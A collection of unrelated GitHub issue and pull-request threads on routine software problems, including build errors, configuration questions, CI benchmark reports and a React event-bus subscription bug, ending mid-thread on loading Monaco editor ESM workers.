Error in the Windows binary only

Code runs fine with node, the macos and linux. The windows binary is about 13 MB smaller than the others and throws an error in one of the dependencies (something doesn't get initialized so when accessing one of its attributes it throws an undefined).
What's the best way to debug this? The debug output is identical on the build.
$ diff mac.txt win.txt
2195c2195
<     "platform": "macos",
---
>     "platform": "win",
2197c2197
<     "output": "/Users/me/Documents/prog/progname/bin/prog-name",
---
>     "output": "/Users/me/Documents/prog/progname/bin/prog-name.exe",
2206c2206
<     "binaryPath": "/Users/me/.pkg-cache/v2.5/fetched-v8.9.0-macos-x64"
---
>     "binaryPath": "/Users/me/.pkg-cache/v2.5/fetched-v8.9.0-win-x64"

43580415 Mar 15 17:53 prog-name-linux
44208600 Mar 15 17:53 prog-name-macos
31632670 Mar 15 17:53 prog-name-win.exe

I'm using this with Blessed which is a terminal interface library. I'm wondering if that is having problems with getting a terminal from how this builds the application (mumble mumble subsystem console mumble).

This was missing an asset.


warn when the linter package is not installed

From https://github.com/dart-atom/dartlang/issues/106. And / or install it for the user (and notify them).

Fixed by #119


Font files always emitted in output.path

Is there way to have fonts, svg, oet files emitted in same folder where emitted css file is emitted?
var css = new ExtractTextPlugin("css/style.css")
This will created style.css under my >>output.path + 'css'<< as expected, but all resource files like woff, oet, svg simply emitted in output.path
I'm basically testing this with standard bootstrap.css and ideally want to have cleaner output like this
/css/style.css
/css/resources/fa2772327f55d8198301fdb8bcfc8158.woff
/css/resources/89889688147bd7575d6327160d64e760.svg
...
not like this:
/css/style.css
/fa2772327f55d8198301fdb8bcfc8158.woff
/89889688147bd7575d6327160d64e760.svg
...

I just realized those paths are defined on loaders not the plugin.


Ftp issue

Description
I am currently on windows 10, using files insider version as well as stable version, in both the versions I am facing issue when I am accessing my android device using ftp, it takes a lot of time displaying all the folders on my android device, whereas on the default file manager of windows 10 all the folders are displayed really quickly so please can you fix this in the next update?
Steps To Reproduce

Add android device using ftp
Check when the loading is completed

Requirements

e.g. Fix crash that occurs when...
Please fix the slow loading in ftp

Files Version
<IP_ADDRESS>
Windows Version
10.0.19045.3570
Log File
debug.log

Thanks for the report, I've added this to the project board.

Thank you for your feedback, we're tracking performance issues in #4180. Can you add a comment there about this?


Feature/ balance

Coverage increased (+0.02%) to 82.828% when pulling ec00760ddb70b308738ccce9280e70661f16971c on Feature/Balance into 9bbb87d14cba9cbed4d1afd1997bf8a553336823 on V2.


What config to use?!?!

Hello! There was an article: https://docs.microsoft.com/en-us/windows/msix/app-installer/web-install-iis#step-7---configure-the-web-app-for-app-package-mime-types. And it works... Then msappinstaller protocol was disabled and installer was brocken. The solution was to change a link. Now I get "Error in parsing the app package" error for the package what works well before and I found that I must use other mime types in this article. Can you please post an exemplary web.config file that works?
p.s. My bundle file is .msixbundle, not .ms .appxbundle. Setting application/xml for .appinstaller type makes browser to open it, not to download and run.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 930536bd-243e-3024-1c8d-b352384a2718
Version Independent ID: 518c2651-df80-73fb-f28c-a48e8dde863d
Content: Create an App Installer file with Visual Studio - MSIX
Content Source: msix-src/app-installer/create-appinstallerfile-vs.md
Product: msix
GitHub Login: @dianmsft
Microsoft Alias: diahar

Hello @dianmsft how to know appinstaller version? Any way me and my customers use a version that is shipped with Windows

In the corner there is an information icon, click on it and you will see the version of the app installer. If they have the Microsoft Store installed, they will get the latest version of App Installer app.

@dianmsft I will try to check what version they use, but question was about config. We have to contradictory versions of documentation regarding mime types. Which one to follow?

please let me know which documentation is contradicting, we'll investigate on our end.

@dianmsft,
#1: https://docs.microsoft.com/en-us/windows/msix/app-installer/web-install-iis#step-7---configure-the-web-app-for-app-package-mime-types
#2: https://docs.microsoft.com/en-us/windows/msix/app-installer/create-appinstallerfile-vs#publish-to-a-web-location-http


feat(RingTheory/TwoSidedIdeal/Basic): two-sided-ideal as a bimodule

Thanks!
maintainer merge

!bench

bors merge


[Bug]: Op "image-text-embedding/lightningdot" runs failed reporting "urllib.error.HTTPError: HTTP Error 409: Public access is not permitted on this storage account"

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior
Op "image-text-embedding/lightningdot" runs failed reporting "urllib.error.HTTPError: HTTP Error 409: Public access is not permitted on this storage account"
022-11-06 01:12:39.473582: W tensorflow/compiler/tf2tensorrt/utils/py_utils.cc:38] TF-TRT Warning: Cannot dlopen some TensorRT libraries. If you would like to use Nvidia GPU with TensorRT, please make sure the missing libraries mentioned above are installed properly.
Traceback (most recent call last):
  File "/workspace/towhee_CI/hub_operator/testcases/test_image-text-embedding-lightningdot.py", line 3, in <module>
    towhee.glob('/workspace/towhee_CI/hub_operator/dataset/test.jpg') \
  File "/opt/conda/lib/python3.8/site-packages/towhee/hparam/hyperparameter.py", line 200, in __call__
    return self._func(*args, **kws)
  File "/opt/conda/lib/python3.8/site-packages/towhee/functional/data_collection.py", line 142, in wrapper
    return self.map(op)
  File "/opt/conda/lib/python3.8/site-packages/towhee/functional/mixins/dag.py", line 35, in wrapper
    children = f(self, *arg, **kws)
  File "/opt/conda/lib/python3.8/site-packages/towhee/functional/data_collection.py", line 368, in map
    if hasattr(unary_op, 'is_stateful') and unary_op.is_stateful:
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/execution/stateful_execution.py", line 30, in is_stateful
    self.__check_init__()
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/factory.py", line 97, in __check_init__
    self._op = op(self._name,
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/factory.py", line 64, in op
    return loader.load_operator(operator_src, arg, kwargs, tag)
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/operator_loader.py", line 166, in load_operator
    op = factory(function, arg, kws, tag)
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/operator_loader.py", line 144, in load_operator_from_cache
    return self.load_operator_from_path(path, arg, kws)
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/operator_loader.py", line 130, in load_operator_from_path
    return self.instance_operator(op, arg, kws) if op is not None else None
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/operator_loader.py", line 176, in instance_operator
    return op(*arg, **kws) if kws is not None else op()
  File "/github/home/.towhee/operators/image-text-embedding/lightningdot/main/__init__.py", line 18, in lightningdot
    return LightningDOT(model_name, modality)
  File "/github/home/.towhee/operators/image-text-embedding/lightningdot/main/lightningdot.py", line 56, in __init__
    download_file(model_url, os.path.dirname(__file__) + '/data/model/')
  File "/github/home/.towhee/operators/image-text-embedding/lightningdot/main/utils.py", line 48, in download_file
    download_url(url, save_path, filename)
  File "/opt/conda/lib/python3.8/site-packages/torchvision/datasets/utils.py", line 146, in download_url
    url = _get_redirect_url(url, max_hops=max_redirect_hops)
  File "/opt/conda/lib/python3.8/site-packages/torchvision/datasets/utils.py", line 94, in _get_redirect_url
    with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:
  File "/opt/conda/lib/python3.8/urllib/request.py", line 222, in urlopen
    return opener.open(url, data, timeout)
  File "/opt/conda/lib/python3.8/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/opt/conda/lib/python3.8/urllib/request.py", line 640, in http_response
    response = self.parent.error(
  File "/opt/conda/lib/python3.8/urllib/request.py", line 569, in error
    return self._call_chain(*args)
  File "/opt/conda/lib/python3.8/urllib/request.py", line 502, in _call_chain
    result = func(*args)
  File "/opt/conda/lib/python3.8/urllib/request.py", line 649, in http_error_default
    raise HTTPError(req.full_url, code, msg, hdrs, fp)
urllib.error.HTTPError: HTTP Error 409: Public access is not permitted on this storage account.

Expected Behavior
No error
Steps To Reproduce
weekly:
https://github.com/towhee-io/towhee/actions/runs/3402235419/jobs/5657863504

Environment
- Towhee version(e.g. v0.1.3 or 8b23a93): Towhee latest
- OS(Ubuntu or CentOS):
- CPU/Memory:
- GPU:
- Others:

Anything else?
No response

this error still exists in latest weekly:
https://github.com/towhee-io/towhee/actions/runs/3448758130/jobs/5756049941
Traceback (most recent call last):
  File "/workspace/towhee_CI/hub_operator/testcases/test_image-text-embedding-lightningdot.py", line 3, in <module>
    towhee.glob('/workspace/towhee_CI/hub_operator/dataset/test.jpg') \
  File "/opt/conda/lib/python3.8/site-packages/towhee/hparam/hyperparameter.py", line 200, in __call__
    return self._func(*args, **kws)
  File "/opt/conda/lib/python3.8/site-packages/towhee/functional/data_collection.py", line 142, in wrapper
    return self.map(op)
  File "/opt/conda/lib/python3.8/site-packages/towhee/functional/mixins/dag.py", line 35, in wrapper
    children = f(self, *arg, **kws)
  File "/opt/conda/lib/python3.8/site-packages/towhee/functional/data_collection.py", line 368, in map
    if hasattr(unary_op, 'is_stateful') and unary_op.is_stateful:
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/execution/stateful_execution.py", line 30, in is_stateful
    self.__check_init__()
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/factory.py", line 97, in __check_init__
    self._op = op(self._name,
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/factory.py", line 64, in op
    return loader.load_operator(operator_src, arg, kwargs, tag)
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/operator_loader.py", line 166, in load_operator
    op = factory(function, arg, kws, tag)
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/operator_loader.py", line 144, in load_operator_from_cache
    return self.load_operator_from_path(path, arg, kws)
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/operator_loader.py", line 130, in load_operator_from_path
    return self.instance_operator(op, arg, kws) if op is not None else None
  File "/opt/conda/lib/python3.8/site-packages/towhee/engine/operator_loader.py", line 176, in instance_operator
    return op(*arg, **kws) if kws is not None else op()
  File "/github/home/.towhee/operators/image-text-embedding/lightningdot/main/__init__.py", line 18, in lightningdot
    return LightningDOT(model_name, modality)
  File "/github/home/.towhee/operators/image-text-embedding/lightningdot/main/lightningdot.py", line 56, in __init__
    download_file(model_url, os.path.dirname(__file__) + '/data/model/')
  File "/github/home/.towhee/operators/image-text-embedding/lightningdot/main/utils.py", line 48, in download_file
    download_url(url, save_path, filename)
  File "/opt/conda/lib/python3.8/site-packages/torchvision/datasets/utils.py", line 146, in download_url
    url = _get_redirect_url(url, max_hops=max_redirect_hops)
  File "/opt/conda/lib/python3.8/site-packages/torchvision/datasets/utils.py", line 94, in _get_redirect_url
    with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:
  File "/opt/conda/lib/python3.8/urllib/request.py", line 222, in urlopen
    return opener.open(url, data, timeout)
  File "/opt/conda/lib/python3.8/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/opt/conda/lib/python3.8/urllib/request.py", line 640, in http_response
    response = self.parent.error(
  File "/opt/conda/lib/python3.8/urllib/request.py", line 569, in error
    return self._call_chain(*args)
  File "/opt/conda/lib/python3.8/urllib/request.py", line 502, in _call_chain
    result = func(*args)
  File "/opt/conda/lib/python3.8/urllib/request.py", line 649, in http_error_default
    raise HTTPError(req.full_url, code, msg, hdrs, fp)
urllib.error.HTTPError: HTTP Error 409: Public access is not permitted on this storage account.

original pretrained weights links are no longer available. I will trace the problem and update the link when authors update their links.

/milestone 0.9.0

Fixed and closed.


Error: Error building AzureRM Client: Authenticating using the Azure CLI is only supported as a User (not a Service Principal).

When attempting a terraform plan I am getting:
john@Johns-MacBook-Pro infrastructure % terraform plan

Warning: "skip_credentials_validation": [DEPRECATED] This field is deprecated and will be removed in version 3.0 of the Azure Provider

Error: Error building AzureRM Client: Authenticating using the Azure CLI is only supported as a User (not a Service Principal).

To authenticate to Azure using a Service Principal, you can use the separate 'Authenticate using a Service Principal'
auth method - instructions for which can be found here: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/guides/service_principal_client_secret

Alternatively you can authenticate using the Azure CLI by using a User Account.

  on .terraform/modules/cluster/main.tf line 13, in provider "azurerm":
  13: provider "azurerm" {

According to Terraforms docs, it recommends<EMAIL_ADDRESS>but the autogenerated file in .terraform/modules/cluster/main.tf doesnt define that provider, and so I think its pulling the latest version 2.48.0
Is there a way to overview the version used?

I setup Terraform incorrectly. Nothing wrong with this guide. Apologises...


Postfix Array Operators (i.e. String s[]) not handled

I know this is noted as a known deficiency
(http://www.beanshell.org/bsh20announce.txt\), but it is
extremely important to beanshell's java compatibility
to be able to declare arrays that allow postfix array
operators.
The great thing about beanshell is the ability to copy
and paste code from an IDE, directly into beanshell,
then back to an IDE or text file when complete.
The problem breaks that, and although there are ways to
get around it, it is so basic to the way most people
declare arrays in java, that it is a must have.
Reported by: *anonymous
Original Ticket: "beanshell/bugs/274":https://sourceforge.net/p/beanshell/bugs/274

I am not sure that I understand what is meant by a postfix array operator in this bug report.
I have tested postfix array operators on int's (e.g. a[i]++) and they work correctly (see attached test script).
The subject mentions string arrays.  What kind of postfix operator can be applied to a string array, other than to the array index or method parameters?
I don't see a bug here, and suggest closing this one.
postfix_array.bsh.txt

@opeongo tyvm
Closed: working


Feature Request: custom base image from local docker daemon

It would be convenient to specify a customBaseImage from my local docker daemon. If I tag an image as foo:1 then ko will search index.docker.io. If I tag as ko.local/foo:1 then ko will try to dial ko.local.
I have a project in which several containers are built from a common base image, and the base image is also built in the same project. The current build flow is something like,
$ docker build -t base:0.1 -f base/Dockerfile .
$ docker build -t foo:0.1 -f foo/Dockerfile .
$ cat foo/Dockerfile
FROM base:0.1
...

https://github.com/google/ko/pull/371 just assumes ko.local things are in the daemon, not any other domain (or images without a domain), would that work for you?

@jonjohnsonjr Yeah I think that would solve the use case I was hitting. At this point, I am just experimenting with ko. Integrating it into my CI/build pipelines would involve propagating that ko.local prefix to many places.


feat: update config_driver tests for Safari

Coverage: 88.802% (+0.5%) from 88.313% when pulling 7d8a2485e1fee0035dd0809a82e077d39a08b3db on feat/config_driver_safari_tests into f7f1b05d535f5b949e2670d2209cdcae6ea012f0 on master.


redis-cli scan 0 COUNT 20 equivalent in redisson

I want to know what is the >redis-cli scan 0 COUNT 20 equivalent in redisson. I have 4  million records in redis and want to iterate through them (with a key pattern)
I tried using Stream getKeysStreamByPattern(String var1, int var2); and Iterable getKeysByPattern(String var1, int var2); but it hangs infinitly.

I tried using Stream getKeysStreamByPattern(String var1, int var2); and Iterable getKeysByPattern(String var1, int var2); but it hangs infinitly.

These methods are equivalent to scan 0 COUNT 20 command. Did you define 20 as second argument? Do you use the same machine used for invoke command through redis-cli?


Add javadoc descriptions to generated types

Documentation can be combined from multiple sources. Probably the best option atm is to gather type documentation from apiDescriptions.json as most of the hard work is done and it seems to be kept uptodate.
The per function and property documentation could be grabbed from either:

the closure externs (easiest option) or
the WebIDLs. This is a lot harder and may not be worth the effort unless other benefits would be gathered from running a WebIDL reader etc. See https://github.com/Microsoft/TSJS-lib-generator/tree/master/inputfiles/idl for a copy of WebIDL that would likely serve as input.

I think the best is:

update the closure externs documentation ( with apiDescriptions.json or whatever) and commit the change in their repo
Modifying the change for generating javadoc from jsdoc. I prototyped that a while ago, I can resurrect my internal cl and submit it.


feat: add Angular Schematics extension

Hi @loiane,
I did a GUI tool for Angular schematics / CLI commands for VS Code. It was done to improve productivity, so I think it would really fit in this Angular extension pack.
You can test the extension here: https://marketplace.visualstudio.com/items?itemName=cyrilletuzi.angular-schematics
If you think it's a good extension, this PR adds it to your extension pack. Otherwise, I would appreciate feedback. Thanks.

Hi, the initial text of my PR was quite direct, I took time to edit it to explain my proposition. ;)

Thanks for the PR!


ldap: Experiment with less strict management of emails.

This is an experimental change for https://chat.zulip.org/#narrow/stream/9-issues/topic/LDAP.20and.20email.20auth/near/759169
Not ready for review

We merged a better version of this in the series ending with 869b57b7f783131ee56054bb3cd1ab96aca26bbe, closing.


Run subscriber immediately

The subscriber function should run immediately when the useBusReducer method gets called, otherwise it could lead to lost events.
useEffect gets triggered only after component has been rendered.
https://github.com/ryardley/ts-bus/blob/23de6fbfc840ffb35e367ff7b4438a4a7f90e152/src/useBusReducer.ts#L30
Example:
<App>
  <BusProvider ...>
    <!-- The MyContextProvider calls useBusReducer(). The reducer subscription gets executed when the component completed rendering. -->
    <MyContextProvider>
      <!-- Component publishes a message. It does not matter whether this happens during or after render. This component here completes rendering before MyContextProvider, and therefore, the message gets published before reducer subscription has been set up.    -->
      <MyComponent />
    </MyContextProvider>
  </BusProvider ...>
</App>

The useBusReducer should call the subscriber method immediately and only once.
Pseudo-code solution:
export function useBusReducer<E extends BusEvent = BusEvent, T = any>(
  initState: T,
  reducer: (s: T, a: E) => T,
  subscriber: (
    dispatch: DispatchFn<E>,
    bus: EventBus
  ) => void = defaultSubscriber
) {
  // Pull the bus from context
  const bus = useBus();

  // Run the reducer
  const [state, dispatch] = useReducer(reducer, initState);

  const subscriberCallback = useCallback(() => subscriber(dispatch, bus), [subscriber, dispatch, bus]);
  const [subscriber, setSubscriber] = useState();

  if (subscriber !== subscriberCallback) {
    subscriberCallback();
    setSubscriber(() => subscriberCallback);
  }

  return state;
}

I am not aware of a more elegant solution without the useState hook... :/
Running code like the creation of subscriptions during the render phase may not follow React's best practises, however, it would still make life easier in some cases and it's up to the developer not to missuse it :)

You are right we get a render before the busReducer is subscribed to the event bus but everything I have read about React hooks suggests to do this.
We should not run sideeffects in render which is what calling subscriberCallback() is going to do. It stops the component being functional.
I did notice a bug now you bring this up. The following:
function defaultSubscriber<E extends BusEvent>(
  dispatch: DispatchFn<E>,
  bus: EventBus
) {
  bus.subscribe<E>("**", dispatch);
}

Should probably be:
function defaultSubscriber<E extends BusEvent>(
  dispatch: DispatchFn<E>,
  bus: EventBus
) {
  return bus.subscribe<E>("**", dispatch);
}

The idea being that:

  // Run the subscriber
  useEffect(() => subscriber(dispatch, bus), [subscriber, dispatch, bus]);

Will actually unsubscribe every time the dependencies change.
Perhaps I will write a test for this later this week and fix it.

Can you share a repo demonstrating the missing events?

@ryardley Please have a look at this code here: https://codesandbox.io/s/focused-swirles-2hbms
TLTR: Yes, I fully agree with your comments and I believe some kind of queuing mechanism would be good enough to solve my issue and at same time, still be 'hooks compliant'.
You can look at this problem from different perspective. The first one, and probably the most important one, is what you describe in regards to the correct implementation with react hooks.
The other perspective is from a solution architecture point of view, where you want to achieve decoupling of your components using a bus like ts-bus. As it stands now, I would have to introduce some extra code outside my component in order to do what the reducer is supposed to do (speaking about the app in which I encountered the issue). That means:

I spread the logic of my component as I have to move some logic closer to the creation of the of the state. Which is not an ideal solution as it does not belong there.
My system becomes more tighly coupled. That's basically the consequence of bullet point 1.

@ryardley Any thoughts on this issue? I think a queuing solution could be prone to error. How long does the events need to be queued? How does the bus now whether events have to be pushed to newly subscribed reducer? (maybe the events happened in the passed, not during the actual render stage. In that case, new subscribes must not receive "old" events). Hence, bus must now when to start and stop recording the events.
Maybe there is a simpler solution to that problem by changing the behavior in the bus. The subscribe method of the eventbus should initially remove the handler (if it exists) and then (re-)subscribe again.
The handler method should be memoized using useCallback for instance, otherwise the code will not work properly and we would end-up with double subscription.
    const type = getEventType(eventType);
    // Remove first if it exists already.
    this.emitter.removeListener(type, handler);
    this.emitter.on(type, handler);
    return () => this.emitter.off(type, handler);

The useBusReducer could be changed to:
  const unsub = subscriber(dispatch, bus);
  useEffect(() => unsub, [subscriber, dispatch, bus]);

Assuming the dispatch is memoized in this situation, the code would not create multiple subscriptions, even if it function gets executed multiple times.
Doesn't look like a perfect solution... But so far, all tests are still green :)

I am a little fuzzy as to what you mean here regarding subscription/unsubscription and how that helps. I am also travelling and away from a computer at the moment so I imagine once I play around with a potential fix this might make sense to me. What I meant to do that I haven’t had a chance to here would be to create a PR with a test case that tests for the error and demonstrates the failing case quickly followed by implementing a fix. I have felt this an edge case that requires a complex fix so it is a little lower on the priority list in my head but if it’s urgent for you then let’s try and get this done?

Ok I have a failing test case here: https://github.com/ryardley/ts-bus/tree/fix-missing-events-during-render

So the fix appears simple which is to change useEffect to useLayoutEffect. https://github.com/ryardley/ts-bus/pull/33

This is now live


Use Physicochemical features of AAs as input.

It would be useful to use Physicochemical properties beyond Van der Waals radius of AAs as input sucha as:

surface exposure
predicted solvent accessibility
polarity
isoelectric point
pairwise potential
...?

Those all sound like desirable traits to include.

Implementation should be straightforward. If you want inspiration you can see the function onehotter_aa from preprocessing/angle_data_preparation_py.ipynb and apply the method to the function wider from models/predicting_distances.ipynb.
Contributors are welcome!

Hi, Im working with prot structure prediction as my masters project. I implemented some of your operations as vectorized functions, and I include some physchem properties on input. Im even using your model, with slight modifications (adding dilated convolutions and aproximating to the architecture of Raptor-X-Contacts).

Hi there!
Thanks for the interest and continuing the work on the project! I'm sharing my newest version here with you in a zip folder (it includes cool ideas, but i moved on to different projects before integrating them and producing good results).
It includes the following features:

vectorized data processing functions
handling protein arbitrary length
predictions by X squared crops of Y*Y AAs each and averaging at prediction time
deeper resnet
physicochemical features of AAs

You can grab ideas and copy/paste from this codebase. I would like to ask you if, in return, you could integrate this code with the one in the repo and also share your dilated convolution model (don't overwrite the existing model code, just provide the option of using your model as well via loading a diferent model).
Also if you could share some results it would be very nice as well.
It would be awesome if you could do this! I'll add your name to the contributors / collaborators / authors list!

Hi, I will reach you by email!
Thanks for sharing the code and ideas. I don't have the time now, at least until July, to add to the repo, since I'm still coding adn writing, but as of July I can update and integrate my models. Since I use a similar workflow than yours (except that I generally prepare the data before passing to a generator).


[SPARK-9295] Analysis should detect sorting on unsupported column types

This patch extends CheckAnalysis to throw errors for queries that try to sort on unsupported column types, such as ArrayType.

Merged build triggered.

Merged build started.

Test build #38306 has started for   PR 7633 at commit 2f1b802.

Test build #38306 has finished for   PR 7633 at commit 2f1b802.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Ah, it looks like this broke sorting by a null literal, which is valid SQL and which should be supported.  I think that we can fix this by making NullType into an AtomicType (I think we've already done this in Python).

Actually, I think I'll just explicitly allow NullType.

Merged build triggered.

Merged build started.

Merged build finished. Test FAILed.

Jenkins, retest this please.

Merged build triggered.

Merged build started.

Test build #38328 has started for   PR 7633 at commit bfe1451.

Test build #38328 has finished for   PR 7633 at commit bfe1451.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Merged build triggered.

Merged build started.

Test build #38373 has started for   PR 7633 at commit 23b2fbf.

Test build #38373 has finished for   PR 7633 at commit 23b2fbf.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

I'm going to merge this into master.  Thanks!


Add preprocess module (1st step)

This PR adds the first step in the preprocess module. We add the env, lib, rule, and script files necessary for this first step. We also add a pyproject.toml file to make the python file accessible.
@mat10d this is ready for review when you get a chance!
Note: I opted to make the first step output TSVs instead of pickles, but this is easy to revert if we would rather stick with pickles.

Ok, so just to summarize how this works--correct me if I'm wrong.
In example analysis, you run a bash script, which calls Snakefile, which calls the preprocess.smk, which calls the functions in the preprocess.py. Is that right?

In example analysis, you run a bash script, which calls Snakefile, which calls the preprocess.smk, which calls the functions in the preprocess.py. Is that right?

I think you understand but I want to clarify the last part for this step in particular:
example_analysis/run_analysis.sh -> workflow/Snakefile -> workflow/rules/preprocess.smk -> workflow/scripts/preprocess/extract_metadata_tile.py -> helper code in workflow/lib/preprocess/


Add support for Python 3.9

Python 3.9 has been out since Oct of last year. We should add support for it in our build scripts along with Python 3.7 and 3.8.

[ ] .appveyor.yml
[ ] .circleci/config.yml
[ ] .github/workflows/pypi.yml

Note #501 about xlrd support for 3.9


feat: devnet deployments

Fixes #6516

Benchmark results
No metrics with a significant change found.

Detailed results
All benchmarks are run on txs on the Benchmarking contract on the repository. Each tx consists of a batch call  to create_note and increment_balance, which guarantees that each tx has a private call, a nested private call, a public call, and a nested public call, as well as an emitted private note, an unencrypted log, and public storage read and write.
This benchmark source data is available in JSON format on S3 here.
Proof generation
Each column represents the number of threads used in proof generation.
| Metric |  |
| - |  |
L2 block published to L1
Each column represents the number of txs on an L2 block published to L1.

Metric
8 txs
32 txs
64 txs

l1_rollup_calldata_size_in_bytes
1,412
1,412
1,412

l1_rollup_calldata_gas
9,452
9,476
9,476

l1_rollup_execution_gas
616,093
616,117
616,117

l2_block_processing_time_in_ms
1,258 (-3%)
4,695 (-3%)
9,301 (-3%)

l2_block_building_time_in_ms
45,391
179,005
356,138 (-1%)

l2_block_rollup_simulation_time_in_ms
45,226
178,398
354,928 (-1%)

l2_block_public_tx_process_time_in_ms
24,114 (-1%)
100,305 (-2%)
204,208 (-1%)

L2 chain processing
Each column represents the number of blocks on the L2 chain where each block has 16 txs.

Metric
3 blocks
5 blocks

node_history_sync_time_in_ms
9,479 (-1%)
14,476

node_database_size_in_bytes
14,508,112
21,360,720

pxe_database_size_in_bytes
18,071
29,868

Circuits stats
Stats on running time and I/O sizes collected for every kernel circuit run across all benchmarks.

Metric
1 leaves
16 leaves
64 leaves
128 leaves
512 leaves
1024 leaves
2048 leaves
4096 leaves
32 leaves

batch_insert_into_append_only_tree_16_depth_ms
10.5
16.9
N/A
N/A
N/A
N/A
N/A
N/A
N/A

batch_insert_into_append_only_tree_16_depth_hash_count
16.7
31.8
N/A
N/A
N/A
N/A
N/A
N/A
N/A

batch_insert_into_append_only_tree_16_depth_hash_ms
0.607
0.518
N/A
N/A
N/A
N/A
N/A
N/A
N/A

batch_insert_into_append_only_tree_32_depth_ms
N/A
N/A
48.7
75.5 (-1%)
242 (-2%)
478
909 (-3%)
1,786 (-3%)
N/A

batch_insert_into_append_only_tree_32_depth_hash_count
N/A
N/A
95.9
159
543
1,055
2,079
4,127
N/A

batch_insert_into_append_only_tree_32_depth_hash_ms
N/A
N/A
0.497
0.466 (-1%)
0.439 (-2%)
0.445
0.431 (-3%)
0.426 (-3%)
N/A

batch_insert_into_indexed_tree_20_depth_ms
N/A
N/A
57.8 (-1%)
111 (-3%)
348 (-2%)
701
1,357 (-3%)
2,681 (-3%)
N/A

batch_insert_into_indexed_tree_20_depth_hash_count
N/A
N/A
106
208
692
1,363
2,707
5,395
N/A

batch_insert_into_indexed_tree_20_depth_hash_ms
N/A
N/A
0.500 (-1%)
0.498 (-2%)
0.471 (-2%)
0.481
0.470 (-3%)
0.465 (-3%)
N/A

batch_insert_into_indexed_tree_40_depth_ms
N/A
N/A
N/A
N/A
N/A
N/A
N/A
N/A
61.7 (-1%)

batch_insert_into_indexed_tree_40_depth_hash_count
N/A
N/A
N/A
N/A
N/A
N/A
N/A
N/A
107

batch_insert_into_indexed_tree_40_depth_hash_ms
N/A
N/A
N/A
N/A
N/A
N/A
N/A
N/A
0.547 (-1%)

Miscellaneous
Transaction sizes based on how many contract classes are registered in the tx.

Metric
0 registered classes
1 registered classes

tx_size_in_bytes
83,794
665,117

Transaction size based on fee payment method
| Metric |  |
| - |  |


vscode-mysql extension broke in insiders 1.28.0

VSCode Insiders Version:  1.28.0
OS Version: windows 7
MYSQL extension version: vscode-mysql 0.3.0

The recent version of insiders seems to break my favorite extension  It actually can run queries but the results window comes up blank. Weirdly, extension settings has its header showing but details is empty.
vscode-mysql works fine on vscode regular 1.27.1

Duplicate of #58203


Track number of commits

@raphjaph This originally logged to the database, but I decided against doing that. However in the process, I realized that we were sometimes committing when we didn't need to. This changes things to only commit when we need to, and furthermore to track the number of commits we've made.


pull request for e2e test at 12/17/2016 22:45:20

:white_check_mark: Validation status: passed
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Don't show "Get Started" screen if already logged in

Just straight to device list screen

Can this be repro'd?  We already jump to the device screen if we're logged in.

@idokleinman Unless there's a bug it does already work that way.


Germany Saxony Repentence day

Wed before 23rd so should be 16th in 2016, not 23rd.
http://www.timeanddate.com/holidays/germany/repentance-day
http://www.qppstudio.net/publicholidays2016/germany.htm
https://en.wikipedia.org/wiki/Public_holidays_in_Germany

As you can expect, I'm on vacation. If somebody in the novafloss org can
take care of this issue and eventually make a bugfix release, that'd be
great.
Le 19 déc. 2016 9:16 PM, "gregn610"<EMAIL_ADDRESS>a écrit :
Wed before 23rd so should be 16th in 2016, not 23rd.
http://www.timeanddate.com/holidays/germany/repentance-day
http://www.qppstudio.net/publicholidays2016/germany.htm
https://en.wikipedia.org/wiki/Public_holidays_in_Germany
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/novafloss/workalendar/issues/168, or mute the thread
https://github.com/notifications/unsubscribe-auth/AABiYRt488Jq-ZZ83yQr3tf42aLcEHN9ks5rJuYxgaJpZM4LRJAm
.

See #169

Apparently I am set as contributor but I don't have any write permission on this repository nor on Pypi:


Use JDK 12+13 for Travis builds

Detekt uses Gradle 6, which supports JDK 13.
Thus, we should also run a CI build for that.

Codecov Report

Merging #2142 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff            @@
##             master   #2142   +/-   ##
========================================
  Coverage      80.5%   80.5%
  Complexity     2017    2017
========================================
  Files           336     336
  Lines          5801    5801
  Branches       1063    1063
========================================
  Hits           4670    4670
  Misses          564     564
  Partials        567     567

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d6848af...d6b7a8e. Read the comment docs.

blocked by #2143


Support loading ESM workers natively as module Workers

Bug/Feature request
I aware that this package currently doesn't support a fully native ESM module because it contains .css/.ttf imports.
The css imports might eventually be okay with CSS module scripts:
import sheet from './styles.css' assert { type: 'css' };

There will still be an issue with how the workers are loaded. Since the monaco-editor/esm/vs/language/typescript/ts.worker.js and monaco-editor/esm/vs/editor/editor.worker.js are ESM modules (they contain imports), they will need to be imported as module Workers:
const editorWorker = new Worker(new URL('monaco-editor/esm/vs/editor/editor.worker.js', import.meta.url), {
  type: 'module'
});

The editor Worker imports monaco-editor/esm/vs/editor/common/services/editorSimpleWorker.js which contains a typeof importScripts check but "the old importScripts() method is not available within module workers"; it will throw:
